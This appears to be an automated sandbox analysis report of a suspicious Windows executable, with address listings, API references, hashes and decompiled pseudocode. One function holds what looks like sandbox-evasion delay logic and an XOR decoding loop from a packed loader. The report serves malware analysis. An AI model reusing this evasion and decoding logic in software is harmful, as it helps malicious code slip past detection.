0x00403b69
0x00403b69
0x00403b75
0x00403b81
0x00403b87
0x00403b8c
0x00403b94
0x00403ba0
0x00403ba0
0x00403bac
0x00403bb5
0x00403bbe
0x00403bc4
0x00403bca
0x00403bcf
0x00403bd7
0x00403be0
0x00403be0
0x00403be9
0x00403bef
0x00403bf5
0x00403bfa
0x00403c02
0x00403c0b
0x00403c0b
0x00403c14
0x00403c1a
0x00403c20
0x00403c25
0x00403c2d
0x00403c36
0x00403c36
0x00403c3f
0x00403c45
0x00403c4b
0x00403c50
0x00403c58
0x00403c61
0x00403c61
0x00403c6a
0x00403c70
0x00403c76
0x00403c7b
0x00403c83
0x00403c8c
0x00403c8c
0x00403c95
0x00403c9e
0x00403ca7
0x00403cad
0x00403cb3
0x00403cb8
0x00403cc0
0x00403cc9
0x00403cc9
0x00403cd2
0x00403cd8
0x00403cde
0x00403ce3
0x00403ceb
0x00403cf4
0x00403cf4
0x00403cfd
0x00403d03
0x00403d09
0x00403d0e
0x00403d16
0x00403d1f
0x00403d1f
0x00403d28
0x00403d2e
0x00403d34
0x00403d39
0x00403d41
0x00403d4a
0x00403d4a
0x00403d53
0x00403d59
0x00403d5f
0x00403d64
0x00403d6c
0x00403d75
0x00403d75
0x00403d7e
0x00403d87
0x00403d90
0x00403d96
0x00403d9c
0x00403da1
0x00403da9
0x00403db2
0x00403db2
0x00403dbb
0x00403dc1
0x00403dc7
0x00403dcc
0x00403dd4
0x00403ddd
0x00403ddd
0x00403de6
0x00403dec
0x00403df2
0x00403df7
0x00403dff
0x00403e08
0x00403e08
0x00403e11
0x00403e17
0x00403e1d
0x00403e22
0x00403e2a
0x00403e33
0x00403e33
0x00403e3c
0x00403e42
0x00403e48
0x00403e4d
0x00403e55
0x00403e5e
0x00403e5e
0x00403e67
0x00403e70
0x00403e79
0x00403e7f
0x00403e85
0x00403e8a
0x00403e92
0x00403e9b
0x00403e9b
0x00403ea4
0x00403eaa
0x00403eb0
0x00403eb5
0x00403ebd
0x00403ec6
0x00403ec6
0x00403ecf
0x00403ed5
0x00403edb
0x00403ee0
0x00403ee8
0x00403ef1
0x00403ef1
0x00403efa
0x00403f00
0x00403f06
0x00403f0b
0x00403f13
0x00403f1c
0x00403f1c
0x00403f25
0x00403f2b
0x00403f31
0x00403f36
0x00403f3e
0x00403f47
0x00403f47
0x00403f50
0x00403f59
0x00403f62
0x00403f68
0x00403f6e
0x00403f73
0x00403f7b
0x00403f84
0x00403f84
0x00403f8d
0x00403f93
0x00403f99
0x00403f9e
0x00403fa6
0x00403faf
0x00403faf
0x00403fb8
0x00403fbe
0x00403fc4
0x00403fc9
0x00403fd1
0x00403fda
0x00403fda
0x00403fe3
0x00403fe9
0x00403fef
0x00403ff4
0x00403ffc
0x00404005
0x00404005
0x0040400e
0x00404014
0x0040401a
0x0040401f
0x00404027
0x00404030
0x00404030
0x00404039
0x00404045
0x00404051
0x0040405d
0x00404063
0x00404068
0x00404070
0x0040407c
0x0040407c
0x00404088
0x00404094
0x0040409a
0x0040409f
0x004040a7
0x004040b3
0x004040b3
0x004040bf
0x004040cb
0x004040d1
0x004040d6
0x004040de
0x004040ea
0x004040ea
0x004040f6
0x00404102
0x00404108
0x0040410d
0x00404115
0x00404121
0x00404121
0x0040412d
0x00404139
0x0040413f
0x00404144
0x0040414c
0x00404158
0x00404158
0x00404168
0x00404170
0x00404173
0x00404194
0x004041a8
0x004041c3
0x00000000
0x004041c5
0x004041cb

APIs

FreeConsole.KERNELBASE ref: 004031C9
Sleep.KERNELBASE(00000000), ref: 00403920

Strings

dwARBDHOT7y9AWBCdgCWx1MkegJdYHYLBE9B4m2r3iK36AcTlJEyeOZDRPKM2ke1oQqkNk2TyajCZ7BRGCHhRMLAEr, xrefs: 004041A3
tjyRiYjxZQ1atMdbL2um0lScF6f9IoaKt4HlT7B8L9R2pfmf2Q7vrjpXoWNJD1XojUYKYKsgO11CWLvMoRGL6Nocre, xrefs: 00404182

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: ConsoleFreeSleep
String ID: dwARBDHOT7y9AWBCdgCWx1MkegJdYHYLBE9B4m2r3iK36AcTlJEyeOZDRPKM2ke1oQqkNk2TyajCZ7BRGCHhRMLAEr$tjyRiYjxZQ1atMdbL2um0lScF6f9IoaKt4HlT7B8L9R2pfmf2Q7vrjpXoWNJD1XojUYKYKsgO11CWLvMoRGL6Nocre
API String ID: 1084192268-2513900498
Opcode ID: 0cba6109a7795921618759d077baf311265c3be47e69871e6e2c5c79e2113a52
Instruction ID: 8084719f2079818bc2d50057d88b2fd22a2fc02dc4ce213e0debc2e1cfaa46b3
Opcode Fuzzy Hash: 0cba6109a7795921618759d077baf311265c3be47e69871e6e2c5c79e2113a52
Instruction Fuzzy Hash: 56A2207094A159DBEB108F95FA882EDBF34FB81385F5281A5D1C5320A9C77816B2CF4D

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 1.8, APIs: 1, Instructions: 535
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 64%

			E00401000(signed int __eax, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				long _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				long _v44;
				signed int _v48;
				char _v49;
				char _v50;
				signed char _t289;
				signed int _t299;

				_t289 = __eax;
				_v20 = 0;
				_v8 =  *0x417268;
				_v8 =  *0x417264;
				_v8 =  *0x417260;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((__eax & 0x00000044) == 0) {
					_v8 =  *0x417254;
					_v8 =  *0x417250;
				}
				_v8 =  *0x41724c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x417248;
					_v8 =  *0x417244;
				}
				_v8 =  *0x417240;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x41723c;
					_v8 =  *0x417238;
				}
				_v8 =  *0x417234;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x417230;
					_v8 =  *0x41722c;
				}
				_v8 =  *0x417228;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v8 =  *0x417224;
					_v8 =  *0x417220;
				}
				_v24 =  *0x41721c;
				_v24 =  *0x417218;
				_v24 =  *0x417214;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x417210;
					_v24 =  *0x41720c;
				}
				_v24 =  *0x417208;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x417204;
					_v24 =  *0x417200;
				}
				_v24 =  *0x4171fc;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x4171f8;
					_v24 =  *0x4171f4;
				}
				_v24 =  *0x4171f0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x4171ec;
					_v24 =  *0x4171e8;
				}
				_v24 =  *0x4171e4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v24 =  *0x4171e0;
					_v24 =  *0x4171dc;
				}
				_v12 =  *0x4171d8;
				_v12 =  *0x4171d4;
				_v12 =  *0x4171d0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x4171cc;
					_v12 =  *0x4171c8;
				}
				_v12 =  *0x4171c4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 = "QSC]Io";
					_v12 =  *0x4171bc;
				}
				_v12 =  *0x4171b8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x4171b4;
					_v12 =  *0x4171b0;
				}
				_v12 =  *0x4171ac;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x4171a8;
					_v12 =  *0x4171a4;
				}
				_v12 =  *0x4171a0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v12 =  *0x41719c;
					_v12 =  *0x417198;
				}
				_v28 =  *0x417194;
				_v28 =  *0x417190;
				_v28 =  *0x41718c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x417188;
					_v28 =  *0x417184;
				}
				_v28 =  *0x417180;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x41717c;
					_v28 =  *0x417178;
				}
				_v28 =  *0x417174;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x417170;
					_v28 =  *0x41716c;
				}
				_v28 =  *0x417168;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x417164;
					_v28 =  *0x417160;
				}
				_v28 =  *0x41715c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v28 =  *0x417158;
					_v28 =  *0x417154;
				}
				_v32 =  *0x417150;
				_v32 =  *0x41714c;
				_v32 =  *0x417148;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x417144;
					_v32 =  *0x417140;
				}
				_v32 =  *0x41713c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x417138;
					_v32 =  *0x417134;
				}
				_v32 =  *0x417130;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x41712c;
					_v32 =  *0x417128;
				}
				_v32 =  *0x417124;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x417120;
					_v32 =  *0x41711c;
				}
				_v32 =  *0x417118;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v32 =  *0x417114;
					_v32 =  *0x417110;
				}
				_v36 =  *0x41710c;
				_v36 =  *0x417108;
				_v36 =  *0x417104;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x417100;
					_v36 =  *0x4170fc;
				}
				_v36 =  *0x4170f8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4170f4;
					_v36 =  *0x4170f0;
				}
				_v36 =  *0x4170ec;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4170e8;
					_v36 =  *0x4170e4;
				}
				_v36 =  *0x4170e0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4170dc;
					_v36 =  *0x4170d8;
				}
				_v36 =  *0x4170d4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v36 =  *0x4170d0;
					_v36 =  *0x4170cc;
				}
				_v16 =  *0x4170c8;
				_v16 =  *0x4170c4;
				_v16 =  *0x4170c0;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v16 =  *0x4170bc;
					_v16 =  *0x4170b8;
				}
				_v16 =  *0x4170b4;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v16 =  *0x4170b0;
					_v16 =  *0x4170ac;
				}
				_v16 =  *0x4170a8;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v16 =  *0x4170a4;
					_v16 =  *0x4170a0;
				}
				_v16 =  *0x41709c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v16 =  *0x417098;
					_v16 =  *0x417094;
				}
				_v16 =  *0x417090;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v16 =  *0x41708c;
					_v16 =  *0x417088;
				}
				_v40 =  *0x417084;
				_v40 =  *0x417080;
				_v40 =  *0x41707c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x417078;
					_v40 =  *0x417074;
				}
				_v40 =  *0x417070;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x41706c;
					_v40 =  *0x417068;
				}
				_v40 =  *0x417064;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x417060;
					_v40 =  *0x41705c;
				}
				_v40 =  *0x417058;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x417054;
					_v40 =  *0x417050;
				}
				_v40 =  *0x41704c;
				asm("fcomp qword [0x417258]");
				asm("fnstsw ax");
				if((_t289 & 0x00000044) == 0) {
					_v40 =  *0x417048;
					_v40 =  *0x417044;
				}
				_v44 = 0;
				_v20 = 0;
				while(_v20 < 0x5f5e100) {
					_v44 = _v44 + 1;
					_t289 = _v20 + 1;
					_v20 = _t289;
				}
				if(_v44 == 0x5f5e100) {
					_v48 = 0;
					while(1) {
						_t289 = _v48;
						if(_t289 >= _a12) {
							goto L91;
						}
						Sleep(0); // executed
						_t299 = _v48 & 0x80000003;
						if(_t299 < 0) {
							_t299 = (_t299 - 0x00000001 | 0xfffffffc) + 1;
						}
						_v50 =  *(_a4 + _t299) ^  *(_a8 + _v48);
						_v49 =  *(_a8 + _v48);
						 *(_a8 + _v48) = _v50 + _v49;
						 *(_a8 + _v48) =  *(_a8 + _v48) - _v49;
						_v48 = _v48 + 1;
					}
				}
				L91:
				return _t289;
			}

0x00401000
0x00401006
0x00401013
0x0040101c
0x00401025
0x0040102b
0x00401031
0x00401036
0x0040103e
0x00401047
0x00401047
0x00401050
0x00401056
0x0040105c
0x00401061
0x00401069
0x00401072
0x00401072
0x0040107b
0x00401081
0x00401087
0x0040108c
0x00401094
0x0040109d
0x0040109d
0x004010a6
0x004010ac
0x004010b2
0x004010b7
0x004010bf
0x004010c8
0x004010c8
0x004010d1
0x004010d7
0x004010dd
0x004010e2
0x004010ea
0x004010f3
0x004010f3
0x004010fc
0x00401105
0x0040110e
0x00401114
0x0040111a
0x0040111f
0x00401127
0x00401130
0x00401130
0x00401139
0x0040113f
0x00401145
0x0040114a
0x00401152
0x0040115b
0x0040115b
0x00401164
0x0040116a
0x00401170
0x00401175
0x0040117d
0x00401186
0x00401186
0x0040118f
0x00401195
0x0040119b
0x004011a0
0x004011a8
0x004011b1
0x004011b1
0x004011ba
0x004011c0
0x004011c6
0x004011cb
0x004011d3
0x004011dc
0x004011dc
0x004011e5
0x004011ee
0x004011f7
0x004011fd
0x00401203
0x00401208
0x00401210
0x00401219
0x00401219
0x00401222
0x00401228
0x0040122e
0x00401233
0x0040123b
0x00401244
0x00401244
0x0040124d
0x00401253
0x00401259
0x0040125e
0x00401266
0x0040126f
0x0040126f
0x00401278
0x0040127e
0x00401284
0x00401289
0x00401291
0x0040129a
0x0040129a
0x004012a3
0x004012a9
0x004012af
0x004012b4
0x004012bc
0x004012c5
0x004012c5
0x004012ce
0x004012d7
0x004012e0
0x004012e6
0x004012ec
0x004012f1
0x004012f9
0x00401302
0x00401302
0x0040130b
0x00401311
0x00401317
0x0040131c
0x00401324
0x0040132d
0x0040132d
0x00401336
0x0040133c
0x00401342
0x00401347
0x0040134f
0x00401358
0x00401358
0x00401361
0x00401367
0x0040136d
0x00401372
0x0040137a
0x00401383
0x00401383
0x0040138c
0x00401392
0x00401398
0x0040139d
0x004013a5
0x004013ae
0x004013ae
0x004013b7
0x004013c0
0x004013c9
0x004013cf
0x004013d5
0x004013da
0x004013e2
0x004013eb
0x004013eb
0x004013f4
0x004013fa
0x00401400
0x00401405
0x0040140d
0x00401416
0x00401416
0x0040141f
0x00401425
0x0040142b
0x00401430
0x00401438
0x00401441
0x00401441
0x0040144a
0x00401450
0x00401456
0x0040145b
0x00401463
0x0040146c
0x0040146c
0x00401475
0x0040147b
0x00401481
0x00401486
0x0040148e
0x00401497
0x00401497
0x004014a0
0x004014a9
0x004014b2
0x004014b8
0x004014be
0x004014c3
0x004014cb
0x004014d4
0x004014d4
0x004014dd
0x004014e3
0x004014e9
0x004014ee
0x004014f6
0x004014ff
0x004014ff
0x00401508
0x0040150e
0x00401514
0x00401519
0x00401521
0x0040152a
0x0040152a
0x00401533
0x00401539
0x0040153f
0x00401544
0x0040154c
0x00401555
0x00401555
0x0040155e
0x00401564
0x0040156a
0x0040156f
0x00401577
0x00401580
0x00401580
0x00401589
0x00401592
0x0040159b
0x004015a1
0x004015a7
0x004015ac
0x004015b4
0x004015bd
0x004015bd
0x004015c6
0x004015cc
0x004015d2
0x004015d7
0x004015df
0x004015e8
0x004015e8
0x004015f1
0x004015f7
0x004015fd
0x00401602
0x0040160a
0x00401613
0x00401613
0x0040161c
0x00401622
0x00401628
0x0040162d
0x00401635
0x0040163e
0x0040163e
0x00401647
0x0040164d
0x00401653
0x00401658
0x00401660
0x00401669
0x00401669
0x00401672
0x0040167b
0x00401684
0x0040168a
0x00401690
0x00401695
0x0040169d
0x004016a6
0x004016a6
0x004016af
0x004016b5
0x004016bb
0x004016c0
0x004016c8
0x004016d1
0x004016d1
0x004016da
0x004016e0
0x004016e6
0x004016eb
0x004016f3
0x004016fc
0x004016fc
0x00401705
0x0040170b
0x00401711
0x00401716
0x0040171e
0x00401727
0x00401727
0x00401730
0x00401736
0x0040173c
0x00401741
0x00401749
0x00401752
0x00401752
0x00401755
0x0040175c
0x0040176e
0x0040177d
0x00401768
0x0040176b
0x0040176b
0x00401789
0x0040178b
0x0040179d
0x0040179d
0x004017a3
0x00000000
0x00000000
0x004017a7
0x004017b0
0x004017b6
0x004017bc
0x004017bc
0x004017cf
0x004017da
0x004017ed
0x00401804
0x0040179a
0x0040179a
0x0040179d
0x0040180b
0x0040180b

APIs

Sleep.KERNELBASE(00000000), ref: 004017A7

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 272f3e7c8ea2fd50450bdbebd472dcb41169dc53156c7cfc81d0bc26d4b878b4
Instruction ID: e9b7d3426ea171765e26343d91221c403cc845bb7b28a5d46f209b9c2b69b68e
Opcode Fuzzy Hash: 272f3e7c8ea2fd50450bdbebd472dcb41169dc53156c7cfc81d0bc26d4b878b4
Instruction Fuzzy Hash: C1322D70949149EBDB008F85FA982EDBF70FB85341FA281A5D6D5321A9C3790672CF1E

Uniqueness

Uniqueness Score: -1.00%

Function 0040EADC Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040EADC(intOrPtr _a4) {
				void* _t6;

				_t6 = HeapCreate(0 | _a4 == 0x00000000, 0x1000, 0); // executed
				 *0x43e6f4 = _t6;
				if(_t6 != 0) {
					 *0x43ed18 = 1;
					return 1;
				} else {
					return _t6;
				}
			}

0x0040eaf1
0x0040eaf7
0x0040eafe
0x0040eb05
0x0040eb0b
0x0040eb01
0x0040eb01
0x0040eb01

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040EAF1

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: 560fddd6141b5a3c63d872ab9d5b2c8030221c2bac65c5b388294d21e2271bd0
Instruction ID: 437b22155309f1f4c1d98358f4236c881445e3a2b5a95c156aac236cb91992d7
Opcode Fuzzy Hash: 560fddd6141b5a3c63d872ab9d5b2c8030221c2bac65c5b388294d21e2271bd0
Instruction Fuzzy Hash: 11D05E766553055AEB00DF766C09BA23BDC9784395F108436B91DC6190E574D550C548

Uniqueness

Uniqueness Score: -1.00%

Function 0040C9F4 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E0040C9F4() {
				void* _t1;

				_t1 = E0040C982(0); // executed
				return _t1;
			}

0x0040c9f6
0x0040c9fc

APIs

__encode_pointer.LIBCMT ref: 0040C9F6

Part of subcall function 0040C982: TlsGetValue.KERNEL32(00000000,?,0040C9FB,00000000,0041183C,0043E2D0,00000000,00000314,?,0040E1FC,0043E2D0,Microsoft Visual C++ Runtime Library,00012010), ref: 0040C994
Part of subcall function 0040C982: TlsGetValue.KERNEL32(00000001,?,0040C9FB,00000000,0041183C,0043E2D0,00000000,00000314,?,0040E1FC,0043E2D0,Microsoft Visual C++ Runtime Library,00012010), ref: 0040C9AB
Part of subcall function 0040C982: RtlEncodePointer.NTDLL(00000000,?,0040C9FB,00000000,0041183C,0043E2D0,00000000,00000314,?,0040E1FC,0043E2D0,Microsoft Visual C++ Runtime Library,00012010), ref: 0040C9E9

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: Value$EncodePointer__encode_pointer
String ID:
API String ID: 2585649348-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 6f6083c74aca275f0c2996208fc93f23b4686e2413324ff3c705b00bc1ebc81a
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040AF9A Relevance: 7.6, APIs: 5, Instructions: 58
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E0040AF9A(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				intOrPtr _t12;
				intOrPtr _t13;
				long _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t25;
				intOrPtr _t26;
				intOrPtr _t27;
				intOrPtr* _t31;
				void* _t34;

				_t27 = __esi;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ecx;
				_t21 = __ebx;
				_t6 = __eax;
				_t34 = _t22 -  *0x43d2bc; // 0x708bd513
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43e800 = _t6;
				 *0x43e7fc = _t22;
				 *0x43e7f8 = _t25;
				 *0x43e7f4 = _t21;
				 *0x43e7f0 = _t27;
				 *0x43e7ec = _t26;
				 *0x43e818 = ss;
				 *0x43e80c = cs;
				 *0x43e7e8 = ds;
				 *0x43e7e4 = es;
				 *0x43e7e0 = fs;
				 *0x43e7dc = gs;
				asm("pushfd");
				_pop( *0x43e810);
				 *0x43e804 =  *_t31;
				 *0x43e808 = _v0;
				 *0x43e814 =  &_a4;
				 *0x43e750 = 0x10001;
				_t11 =  *0x43e808; // 0x0
				 *0x43e704 = _t11;
				 *0x43e6f8 = 0xc0000409;
				 *0x43e6fc = 1;
				_t12 =  *0x43d2bc; // 0x708bd513
				_v812 = _t12;
				_t13 =  *0x43d2c0; // 0x8f742aec
				_v808 = _t13;
				 *0x43e748 = IsDebuggerPresent();
				_push(1);
				E0041142E(_t14);
				SetUnhandledExceptionFilter(0);
				_t17 = UnhandledExceptionFilter(0x418678);
				if( *0x43e748 == 0) {
					_push(1);
					E0041142E(_t17);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x0040af9a
0x0040af9a
0x0040af9a
0x0040af9a
0x0040af9a
0x0040af9a
0x0040af9a
0x0040afa0
0x0040afa2
0x0040afa2
0x0040ed9d
0x0040eda2
0x0040eda8
0x0040edae
0x0040edb4
0x0040edba
0x0040edc0
0x0040edc7
0x0040edce
0x0040edd5
0x0040eddc
0x0040ede3
0x0040edea
0x0040edeb
0x0040edf4
0x0040edfc
0x0040ee04
0x0040ee0f
0x0040ee19
0x0040ee1e
0x0040ee23
0x0040ee2d
0x0040ee37
0x0040ee3c
0x0040ee42
0x0040ee47
0x0040ee53
0x0040ee58
0x0040ee5a
0x0040ee62
0x0040ee6d
0x0040ee7a
0x0040ee7c
0x0040ee7e
0x0040ee83
0x0040ee97

APIs

IsDebuggerPresent.KERNEL32 ref: 0040EE4D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040EE62
UnhandledExceptionFilter.KERNEL32(00418678), ref: 0040EE6D
GetCurrentProcess.KERNEL32(C0000409), ref: 0040EE89
TerminateProcess.KERNEL32(00000000), ref: 0040EE90

Memory Dump Source

Source File: 00000000.00000002.269613732.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.269600305.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269679361.0000000000416000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269690667.000000000041B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.269749317.000000000043F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_cfBJlHsOsz.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 2a74bd232aa807f16bbd46ad9772d714bdc68ee0ba61dd64a849ca91486a8838
Instruction ID: b567533c3a87805dce0d84ccc38d96d78f443889f6cad75245fd67c16b95662e
Opcode Fuzzy Hash: 2a74bd232aa807f16bbd46ad9772d714bdc68ee0ba61dd64a849ca91486a8838
Instruction Fuzzy Hash: BF21B2B49022149FE704EF26F9496847BE4FB08304F51A47AE518973E0E7B49981CF5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD47 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD47() {

				SetUnhandledExceptionFilter(E0040DD05);
